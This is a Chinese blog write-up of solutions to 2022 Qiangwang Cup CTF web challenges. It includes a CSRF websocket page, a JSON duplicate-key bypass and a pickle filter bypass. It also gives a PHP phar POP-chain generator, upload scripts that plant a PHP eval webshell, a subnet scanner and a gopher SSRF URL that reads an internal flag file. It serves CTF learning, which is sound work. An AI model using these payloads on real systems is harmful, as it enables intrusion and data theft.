第六届“强网杯”全国网络安全挑战赛

WriteUp-第六届安洵杯网络安全挑战赛-010101 阅读详情

第六届“强网杯”全国网络安全挑战赛

: )

web

babyweb

image-20220731001100500

随便注册个账号发现,发现提供了一个bot功能,支持修改密码,和管理员自动点击链接

再看一下源码发现是使用ws协议进行交互

image-20220731001303526

var ws = null;
        var url = "ws://" + window.location.host + "/bot";
//获取url
        function sendtobot() {
            if (ws) {
                var msg = document.getElementById("sendbox").value;
                ws.send(msg);
            document.getElementById("sendbox").value = "";
            document.getElementById("chatbox").append("你: " + msg + "\r\n");
                //发送信息并在聊天框上打印出来
            }
            else{
                ws = new WebSocket(url);
                ws.onopen = function (event) {
                    console.log('connection open!')
                    var msg = document.getElementById("sendbox").value;
                    ws.send(msg);
                    document.getElementById("sendbox").value = "";
                    document.getElementById("chatbox").append("你: " + msg + "\r\n");
                }//在WebSocket建立连接的时候自动调用
                ws.onmessage = function (ev) {
                    botsay(ev.data);
                };//在WebSocket发送信息的时候自动调用
                ws.onerror = function () {
                    console.log("connection error");
                };//在报错的时候自动调用
                ws.onclose = function () {
                    console.log("connection close!");
                };//在关闭的时候自动调用

            }
        }
        function closeWebSocket() {
            if(ws){
                ws.close();
                ws = null;
            }
        }//关闭连接
        function botsay(content) {
            document.getElementById("chatbox").append("bot: " + content + "\r\n");
        }//操控机器人在聊天框这种输入指定文本

看到这个很容易想到xss+csrf组合拳,让admin去点击链接然后自动修改密码,但是这里很明显没有xss点,没有xss就不能同源csrf,也就不能携带cookie去模拟点击

后面看提示才发现,这道题给了内网端口的,为8888

image-20220731001854408

那么直接构造html页面放在vps上

image-20220731002011912

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
    <script>var url = "ws://127.0.0.1:8888/bot";
        var ws = null;
        function myfun(){
          ws = new WebSocket(url);
          ws.onopen = function (event) {
              console.log('connection open!')
              ws.send("changepw 123456");
          }
          ws.onmessage = function (ev) {
              console.log(ev.data);
          };
          ws.onerror = function () {
              console.log("connection error");
          };
          ws.onclose = function () {
              console.log("connection close!");
          };
      }
        window.onload = myfun;</script>

</body>
</html>

image-20220731002208322

image-20220731002229979

image-20220731002311594

进入到后台是一个商店,钱只够买hint,然后得到源码

总结一下源码审计的结果

总共有两个服务端,外层为flask,内层为go语言写的。首先接受json数据在python里面处理,判断id和num合不合法,接着将数据库中admin账户的钱数量取出来,再加上请求的json数据拼接一起发送给http://127.0.0.1:10002/pay,也就是go服务端,接着go再解析json,并计算出cost,如果cost小于money就成功,并将money返回,flask这边接受到数据并上传到数据库上

image-20220731003413964

这里可以看到使用了bugger/jsonparser进行解析json,我在搜索这个库的漏洞是发现了这个

https://github.com/SECCON/Beginners_CTF_2021/tree/main/web/json

image-20220731004037883

看了几篇wp(尼玛全是日语),发现跟这道题很像,利用json双键解析不同进行绕过

具体来讲就是在python里面{"id":0,"id":1}会被解析成{"id":1}

而在buger/jsonparser中会被解析成{"id":0}

image-20220731004630763

flag在result[2]不为0的时候才会有,也就是前端为1,放在重复键的覆盖位置

image-20220731004752835

go这里会做运算,cost=cost+1000*num,令num为0就不用花钱了,要在双键的前面被覆盖位置

所以构造出payload如下

{"product":[{"id":1,"num":0},{"id":2,"num":0,"num":1}]}

image-20220731005122819

crash

源码:

import base64
# import sqlite3
import pickle
from flask import Flask, make_response,request, session
import admin
import random

app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)

class User:
    def __init__(self, username,password):
        self.username=username
        self.token=hash(password)

def get_password(username):
    if username=="admin":
        return admin.secret
    else:
        # conn=sqlite3.connect("user.db")
        # cursor=conn.cursor()
        # cursor.execute(f"select password from usertable where username='{username}'")
        # data=cursor.fetchall()[0]
        # if data:
        #     return data[0] 
        # else:
        #     return None
        return session.get("password")

@app.route('/balancer', methods=['GET', 'POST'])
def flag():
    pickle_data=base64.b64decode(request.cookies.get("userdata"))
    if b'R' in pickle_data or b"secret" in pickle_data:
        return "You damm hacker!"
    os.system("rm -rf *py*")
    userdata=pickle.loads(pickle_data)
    if userdata.token!=hash(get_password(userdata.username)):
         return "Login First"
    if userdata.username=='admin':
        return "Welcome admin, here is your next challenge!"
    return "You're not admin!"

@app.route('/login', methods=['GET', 'POST'])
def login():
    resp = make_response("success") 
    session["password"]=request.values.get("password")
    resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
    return resp

@app.route('/', methods=['GET', 'POST'])
def index():
    return open('source.txt',"r").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

很显然这里源码没给全,提示说flag在504page里面,我最先想的是利用flask的abort函数跳转到那个页面,因为这里有个反序列化点,而且只过滤了R,所以就相当于能够随意命令执行了

img

image-20220731011149667

后面尝试去拿admin账户的时候发现这里的admin使用东西的,只是源码没写而已

image-20220731011259917

要想拿到admin,就要拿到dmin.secret,而这里ban了secret,然后执行了os.system删除源码的命令,后面测试发现只要反序列化不引入os模块就不会调用删除命令,也就不能反弹shell了

这里可以使用字符串拼接进行绕过关键词检测,R的绕过就用pker工具一把梭就行了

https://xz.aliyun.com/t/7436

image-20220731011648421

image-20220731011735214

image-20220731012024719

这里500是正常的,当时还一直以为哪出问题了

image-20220731012010563

image-20220731012041982

这里有个负载均衡的设置,还可以模拟,这里一看就是要我们打到504的错误界面

image-20220731012245187

504是网关超时,这里唯一可控的就是ip跟权重,假如我们把权重全部设置为0,那就不符合逻辑了,改后打过去果然得到了flag

这里要等待一段时间才会返回504

image-20220731012725027

easyweb

showfile.php能够读取文件,但是加了demo或者guess的表名但,直接用目录穿越就行->./demo/…/index.php

image-20220731120442069

拿到源码审计发现,这个文件上传功能必须要有session才可以

image-20220731120523362

直接用session文件上传进度就可以拿到session

image-20220731120611575

这里能够上传文件,再配合unlink或者file_get_contents可以直接phar反序列化

看下链子

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
    function __construct(){
        $this->file = $_FILES["file"];
    }
    function do_upload() {
        $filename = session_id().explode(".",$this->file["name"])[0].".jpg";
        if(file_exists($filename)) {
            unlink($filename);
        }
        move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
        echo 'upload  '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
    }
    function e($str){
        return htmlspecialchars($str);
    }
    function upload() {
        if($this->check()) {
            $this->do_upload();
        }
    }
    function __toString(){
        return $this->file["name"];
    }
    function __get($value){
        $this->filesize->$value = $this->date;
        echo $this->tmp;
    }
    function check() {
        $allowed_types = array("jpg","png","jpeg");
        $temp = explode(".",$this->file["name"]);
        $extension = end($temp);
        if(in_array($extension,$allowed_types)) {
            return true;
        }
        else {
            echo 'Invalid file!';
            return false;
        }
    }
}

class GuestShow{
    public $file;
    public $contents;
    public function __construct($file)
    {

        $this->file=$file;
    }
    function __toString(){
        $str = $this->file->name;
        return "";
    }
    function __get($value){
        return $this->$value;
    }
    function show()
    {
        $this->contents = file_get_contents($this->file);
        $src = "data:jpg;base64,".base64_encode($this->contents);
        echo "<img src={$src} />";
    }
    function __destruct(){
        echo $this;
    }
}


class AdminShow{
    public $source;
    public $str;
    public $filter;
    public function __construct($file)
    {
        $this->source = $file;
        $this->schema = 'file:///var/www/html/';
    }
    public function __toString()
    {
        $content = $this->str[0]->source;
        $content = $this->str[1]->schema;
        return $content;
    }
    public function __get($value){
        $this->show();
        return $this->$value;
    }
    public function __set($key,$value){
        $this->$key = $value;
    }
    public function show(){
        if(preg_match('/usr|auto|log/i' , $this->source))
        {
            die("error");
        }
        $url = $this->schema . $this->source;
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_HEADER, 1);
        $response = curl_exec($curl);
        curl_close($curl);
        $src = "data:jpg;base64,".base64_encode($response);
        echo "<img src={$src} />";

    }
    public function __wakeup()
    {
        if ($this->schema !== 'file:///var/www/html/') {
            $this->schema = 'file:///var/www/html/';
        }
        if ($this->source !== 'admin.png') {
            $this->source = 'admin.png';
        }
    }
}

看了一下感觉这个链子好像见过,之前NSSCTF#Round3就有一道题,跟这链子基本一模一样,只是开头那里改成了

image-20220731120840335

所以就要多花一步,利用upload类到达AdminShow::_toString

具体的链子原理可以参考https://www.cnblogs.com/Article-kelp/p/16271464.html

我的原理跟他一样

image-20220731121107046

image-20220731121630198

调试到source和schema属性完全可控了

payload:

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
}



class AdminShow{
    public $source;
    public $str;
    public $filter;
}

class GuestShow{
    public $file;
    public $contents;
}



$u = new Upload();
$u2 = new Upload();
$u3 = new Upload();
$a = new AdminShow();
$a1 = new AdminShow();
$g = new GuestShow();
$g1 = new GuestShow();


$g1 -> file = $a1;
$u3 -> tmp = $g1;
$u2 ->date = "pysnow";//source
$u2 -> filesize = $a1;
$u3 -> date = "http";//schema
$u3 -> filesize = $a1;
$a->str[0] = $u2;
$a->str[1] = $u3;
$u -> tmp = $a;
$g -> file = $u;


// echo serialize($g);
$phar =new Phar("qwb.phar"); 
$phar->startBuffering();
$phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>"); 
$phar->setMetadata($g); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

image-20220731122433928

image-20220731122448389

image-20220731122425204

成功打到curl,接下来就是ssrf,看看http://127.0.0.1有没有东西

# -*- coding: utf-8 -*-
# @Time : 2022/7/31 10:03
# @Author : pysnow
import requests

url = "http://47.104.95.124:8080/upload.php?fname=demo.jpg"
sess_id = 'pysnow'
ses = requests.session()
data = {
    'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
}
file = ("demo.jpg", open("D:/phpstudy_pro/WWW/qwb.phar", "rb").read())
cookies = {
    'PHPSESSID': sess_id
}
res = ses.post(url=url, data=data, files={"file": file}, cookies=cookies)
print(res.text)

** **image-20220731122837150

根据题目提示说存在另外一个系统,估计多半是gopher打mysql打redis这种

image-20220731123029500

有个10.10.10.5,扫描一下c端,发现10.10.10.10有东西,出题人还算有良心,扫10下就出来了

!image-20220731131159549

image-20220731131440906

给出扫描脚本

# -*- coding: utf-8 -*-
# @Time : 2022/7/31 10:03
# @Author : pysnow
import re
import time

import requests

ses = requests.session()
reg = re.compile("<img src=data:jpg;base64,(.*?) />")


def network(url):
    requests.get("http://127.0.0.1/ser_exp.php?url={}".format(url))
    url = "http://47.104.95.124:8080/upload.php?fname=demo.jpg"
    sess_id = 'pysnow'
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
    }
    file = ("demo.jpg", open("D:/phpstudy_pro/WWW/qwb.phar", "rb").read())
    cookies = {
        'PHPSESSID': sess_id
    }
    res = ses.post(url=url, data=data, files={"file": file}, cookies=cookies)
    final = ses.get("http://47.104.95.124:8080/showfile.php?f=phar://27b0409438474ab4f17c2a7a0af3ce21/demo.jpg")
    final_text = reg.findall(final.text)
    return final_text


for i in range(1, 255):
    print(i, network(i))

image-20220731123756667

image-20220731123912231

这里也存在一个ssrf点,flag在该内网主机的根目录下,那么可以直接利用gopher构造get请求

image-20220731135043106

gopher:

gopher://10.10.10.10:80/_%47%45%54%20%2f%3f%75%72%6c%3d%66%69%6c%65%3a%2f%2f%2f%66%6c%61%67%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%30%2e%31%30%0a%58%2d%46%6f%72%77%61%72%64%65%64%2d%46%6f%72%3a%20%31%30%2e%31%30%2e%31%30%2e%31%30%31%0a%0a

image-20220731134810142

flag:

flag{easy_penetration_it_is*!*QAQ}

misc

问卷调查

flag{W31c0me_70_QWB2022_Se3_You_N3x7_time}

签到

flag{we1come_t0_qwb_s6}

强网先锋

rcefile

www.zip获取源码

image-20220731014335706

这里存在spl_autoload_register于反序列化结合自动调用漏洞

https://m.sohu.com/n/467138974/非常相似的题

随便上传一个.inc后缀的文件,然后再反序列化一个以改.inc文件名为名字的对象,就能达到文件包含的功能

img

全国高校计算机能力挑战赛 挑战赛秉承“以赛促教,以赛促学,以赛促改,以赛促建”的作用,引导高校在校生学习掌握计算机与互联网知识,提高计算机应用能力、解决问题能力以及创新创业能力,为未来求职就业和生活学习打下坚实的技能基础,推动各高等院校计算机教育教学改革与创新,已得到了广大师生的认可与支持。全国高等学校计算机教育研究会是全国计算机类竞赛权威主办单位之一,其主办的中国高校计算机大赛(C4赛)系列赛、全国大学生计算机系统能力大赛、全国大学生物联网设计竞赛、全国高校计算机能力挑战赛均在全国普通高校大学生竞赛榜目录中。 阅读详情

相关推荐

第五届“强网”拟态防御国际精英挑战赛——预选赛入围战队篇

第五届“强网”拟态防御国际精英挑战赛战队集结完毕,期待各位顶峰相见!

Cyberpeace的博客 1661

第六届“强网杯”全国网络安全挑战赛-青少年专项赛

试卷说明:本次考试共设置30道考题,单选题3分/道,多选题4分/道,满分100分。16、若两台主机在同一子网中,则两台主机的IP地址分别与它们的子网掩码相“与”的结果一定是?10、若两台主机在同一子网中,则两台主机的IP地址分别与它们的子网掩码相“与”的结果一定是?14、如果数据包是给本网广播的,那么该数据包的目的IP地址应该是()。13、如果数据包是给本网广播的,那么该数据包的目的IP地址应该是()。11、如果数据包是给本网广播的,那么该数据包的目的IP地址应该是()。

Moxin1044的博客 1万+

嘉立创EDA实战:4层板叠层设计避坑指南(附阻抗计算技巧)

本文详细解析了嘉立创EDA在4层PCB叠层设计中的实战技巧与避坑指南,涵盖经典叠层方案对比、介质厚度选择、电源系统设计及高速信号完整性优化。特别介绍了阻抗计算工具的应用,帮助工程师在高速电路设计中实现性能与成本的最佳平衡。

sea99的博客 968

第五届强网杯全国网络安全挑战赛writeup

Web1.[强网先锋]寻宝下发赛题,访问链接如下:该题需要你通过信息 1 和信息 2 分别获取两段 Key 值,输入 Key1 和 Key2 然后解密。Key1之代码审计点击“信息1”,发现是代码审计:完整源码如下:<?phpheader('Content-type:text/html;charset=utf-8');error_reporting(0);highlight_file(__...

渗透测试研究中心 1万+

在 Linux 虚拟机中手动安装 VMware Tools

对于 Linux 虚拟机,您可以从命令行手动安装 VMware Tools。对于 Linux 的较高发行版,请使用集成的 open-vm-tools 版本。 前提条件 有关 open-vm-tools 的操作系统兼容性的详细信息,请参见《VMware 兼容性指南》,网址为VMware Compatibility Guide - System Search。 开启虚拟机。 确认客户机操作系统正在运行。 因为 VMware Tools 安装程序是使用 Perl 编写的,请确认已在客户机操作系统中安..

m0_62526815的博客 1757

DDD系列 - 第6讲 仓库Repository - Mybatis篇

书接上回,之前通过一个关于拆解、微服务、面向对象的故事,向大家介绍了如何从微服务、面向对象一步步演进到DDD的,整个演进过程如下图:其中在领域层,我们定义了富血模型的领域模型,包括聚合、聚合根、实体、值对象等。聚合在代码层面中的表现形式即是一个包Package,起到了边界的作用,聚合内的对象间高内聚,而聚合间低耦合。聚合中放着实体、值对象、仓库等,实体相较于值对象的一个典型区别就是实体存在唯一标识,并且可通过该唯一标识查询到该实体并对其进行相关操作,值对象不存在唯一标识且通常作为实体。

罗小爬的技术宝书 1786

第五届强网杯全国网络安全挑战赛 题目复现(有题目附件,详解)

第五届强网杯全国网络安全挑战赛 题目复现(有题目附件,详解) 题目名称:签到 问卷题 BlueTeaming CipherMan ISO1995 EzTime threebody 加油各位( •̀ ω •́ )y期待与君再相逢

路baby的博客 1万+

C++(Qt)软件调试---静态分析工具clang-tidy(18)

现在很多人在开发中完全忽略了编译器、IDE的警告提示,这怎么可能写出稳定的程序。 clang-tidy是一个由LLVM项目提供的开源工具,是一个静态分析工具,用于进行静态代码分析和代码质量改进。

mahuifa的博客 5083

2024 强网杯 线上赛 赛题 Web+Misc

简单记录一下,第一次参加,确实太太太难了!!!下边是web和misc的比赛题目截图

2301_79515560的博客 2050

【数据集】全球陆地表面反照率Albedo

【数据集】全球陆地表面反照率Albedo

WW、forever的博客 1454

手把手教你学Simulink——基于Simulink的电压型 vs 电流型整流器性能对比

摘要:本文基于Simulink平台对比分析了电压型整流器(VSR)和电流型整流器(CSR)的性能差异。VSR采用电容滤波,具有高功率因数(PF>0.99)、低输入电流THD(<3%)等优势,但动态响应较慢;CSR采用电感滤波,动态响应快(<0.05s),但THD较高(5%~8%)。研究建立了统一测试平台,详细对比了两者在稳态性能、动态响应、效率等方面的差异,并给出了控制算法实现和参数优化建议。通过量化分析,为电力电子工程师提供了拓扑选型依据,可根据恒压/恒流需求选择最优方案,有效缩短开发周

MHD0815的博客 173

2021强网杯全国网络安全挑战赛Writeup

文章目录前言强网先锋-赌徒PHP的魔术方法题目POP链构造强网先锋-寻宝Key1之代码审计Key2之脚本搜索 前言 上周末端午假期期间(6月12日9:00至6月13日21:00)参与了为期 36h 的第五届强网杯网络安全竞赛,不得不说题目比去年难多了,两天下来腰酸背痛脑壳疼……比赛的数据大致如下: 幸运的是最终在实力傍队友的情况下,又一年获得竞赛前 10% 有效排名的 “强网先锋” 称号,在此记录下比赛的 Writeup。 强网先锋-赌徒 1、下发赛题,访问地址如下: 2、结合题目源码提醒,利用 dir

道阻且长,行则将至 8616

基于STM32设计的物联网疫苗冷链物流监测系统

本设计基于物联网技术,开发了一套疫苗冷链物流环境监测系统。系统采用STM32F103C8T6作为主控芯片,集成SHT30温湿度传感器、震动传感器、GPS定位模块和4G通信模块,实现对运输环境的温度、湿度及震动状况的实时监测与控制。通过继电器驱动半导体制冷模块和加湿器,系统能够自动调节环境温湿度,保障疫苗运输的安全性。采集的环境数据通过MQTT协议上传至华为云物联网平台,配套开发的Android手机APP和Windows上位机软件基于Qt平台设计,支持远程实时查看环境数据和车辆定位,提升了疫苗冷链运输的智能化

865

【天格】战队-第六届“强网杯”全国网络安全挑战赛题目附件

【天格】战队-第六届“强网杯”全国网络安全挑战赛题目附件 去发现同类优质开源项目:https://gitcode.com/ 简介 本资源文件包含了【天格】战队在第六届“强网杯”全国网络安全挑战赛中成功解出的题目附件。这些附件是挑战赛中的一部分,旨在帮助参赛者提升网络安全技能,应对各种网络挑战。 文件内容 已解出的题目附件:包含了【天格】战队在比赛中成功解出的题目附件,可用于学习和研究。 使用说...

gitblog_06730的博客 332

CesiumForUnreal实现鹰眼地图(MiniMap)效果

CesiumForUnreal实现鹰眼地图(MiniMap)效果

专注GIS开发 3952

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

【天格】战队-第六届“强网杯”全国网络安全挑战赛未解出题目附件

【天格】战队-第六届“强网杯”全国网络安全挑战赛未解出题目附件 去发现同类优质开源项目:https://gitcode.com/ 欢迎下载【天格】战队在第六届“强网杯”全国网络安全挑战赛中未解出的题目附件。该附件包含了本次比赛中未能成功解答的题目及其相关资料,可供参赛者进行赛后分析和学习。 附件内容 未解出题目列表 题目相关附件 使用说明 下载附件后,请先阅读题目描述和相关资料。 根据题目要...

gitblog_06759的博客 295

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

强网杯 2022 WriteUp By Nu1L:网络安全爱好者的宝藏资源

强网杯 2022 WriteUp By Nu1L:网络安全爱好者的宝藏资源 【下载地址】强网杯2022WriteUpByNu1L分享 本资源文件包含了2022年第六届“强网杯”全国网络安全挑战赛的WriteUp,由Nu1L团队提供。该WriteUp详细记录了比赛中的解题思路、技术细节以及最终的解决方案,适合对网络安全感兴...

gitblog_06660的博客 799

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

第五届“强网”拟态防御国际精英挑战赛——特邀战队篇

第五届“强网”拟态防御国际精英挑战赛即将在南京隆重开赛!本届大赛面向全球顶尖CTF战队,在创新应用场景与技术的基础上,拓展升级赛道,全面覆盖典型网络设备。大赛汇集国内外60支精英战队,参赛阵容、数量再创新高。下面一起来看看,我们翘首以盼的特邀战队以及他们的辉煌战绩吧!

Cyberpeace的博客 1698

第六届“强网”拟态防御国际精英挑战赛——入围战队篇

20支入围战队

Cyberpeace的博客 736

第六届“强网”拟态防御国际精英挑战赛——特邀战队篇

20支特邀战队整装待发

Cyberpeace的博客 895

【Web】2023安洵杯第六届网络安全挑战赛 WP

匿名函数在创建后,函数变量会存储一个值从lambda_1开始,数字不断增大的字符串,且每创建一次,这个字符串数字部分都会增大,除非结束php的进程,刷新网页仍会继续计数。第一段正则用于匹配以 include 结尾的字符串,并且在 include 之前,可以有任意多个 5 个字符组成的块。如果 $d0g3 的长度等于 $miao 字符串的最后两个字符的值,且 $name 严格等于 $miao的值。可以污染下面的值来利用render_template_string去RCE。再SplFileObject读文件。

uuzeray的博客 2016

报名通道开启 | 第六届“强网”拟态防御国际精英挑战赛强势来袭

第六届“强网”拟态防御国际精英挑战赛计划将于2023年11月下旬在南京震撼开幕。本届比赛采用线上线下结合的形式,再次为全球顶尖战队提供实战机会,向多类拟态防御设备系统发起挑战。接受挑战的拟态防御设备系统基于邬江兴院士原创的网络空间内生安全理论研制。今年的赛事提供全白盒开放网信新场景,关注智能网联车安全新热点,设置人工智能与手机安全新赛道。赛事主办方设置了丰厚奖金,诚邀全球顶尖战队搏击前沿赛道,探索拟态奥妙。

Cyberpeace的博客 433

第六届TrinityCTF网络安全挑战赛

为共同回顾赛事、分享技术心得,Trinity战队于赛后组织了总结分享会。在总结会上,

小司机的奥拓 1074

“饶派杯”XCTF车联网安全挑战赛战队巡礼!

“饶派杯” XCTF车联网安全挑战赛不日开赛,21支车联网安全技术队伍大公开!

Cyberpeace的博客 935

第六届“强网”拟态防御国际精英挑战赛 持续引领技术发展新潮流

“强网”拟态防御国际精英挑战赛的持续举办,在实战众测中展示了内生安全拟态防御技术、设备、产品的网络弹性能力,验证了中国制造内生安全数字产品的攻防实力,为探索制造侧设计安全、默认安全和网络弹性愿景做出了引领性贡献。

Cyberpeace的博客 496
上一篇: 第六届”蓝帽杯“全国大学生网络安全技能大赛 半决赛
下一篇: corCTF2022 Web
Pysnow
博客等级 码龄5年 44粉丝 25原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值